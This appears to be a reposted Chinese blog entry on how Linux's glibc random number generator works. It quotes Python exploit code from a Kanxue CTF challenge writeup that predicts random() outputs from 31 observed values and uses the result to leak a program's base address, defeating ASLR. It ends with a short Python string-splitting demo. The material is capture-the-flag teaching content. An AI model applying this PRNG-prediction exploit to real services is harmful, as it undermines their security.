我是靠谱客的博主 鲤鱼纸飞机,最近开发中收集的这篇文章主要介绍linux随机数原理,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

http://www.mutepig.club/index.php/archives/61/


这里是原理的推导,下面根据dalao的writeup,贴出py代码

看雪CTF秋季赛第四题NearJMP的writeup


def guess(i):
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(i))
    res = p.recvline()
    p.recvuntil('> ')
    num = res.split()[-1][:-1]
    return int(num)
 
print '[+]guess'
p.recvuntil('> ')
baseAddr = 0
lstRand = []
#先获取前31个随机数
for i in range(31):
    lstRand.append(guess(i))
 
#因为偶尔会有1的误差,所以猜3次
for i in range(31, 33):
    rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(rnd))
    tmp = p.recvline()
    if 'G00dj0b' in tmp:
        baseAddr = int(tmp.split()[-1][:-1]) - 0x202148
        p.recvuntil('> ')
        break
    p.recvuntil('> ')
print '[+]baseAddr:' + hex(baseAddr)

记录一个py的使用方法

s = 'Wr0ng answer!The number is 499183478!'
print s.split()
print s.split()[0]
print s.split()[-1]
print s.split()[-1][:-1]
print s.split()[-1][:-2]

['Wr0ng', 'answer!The', 'number', 'is', '499183478!']
Wr0ng
499183478!
499183478
49918347


最后

以上就是鲤鱼纸飞机为你收集整理的linux随机数原理的全部内容,希望文章能够帮你解决linux随机数原理所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(43)

评论列表共有 0 条评论

立即
投稿
返回
顶部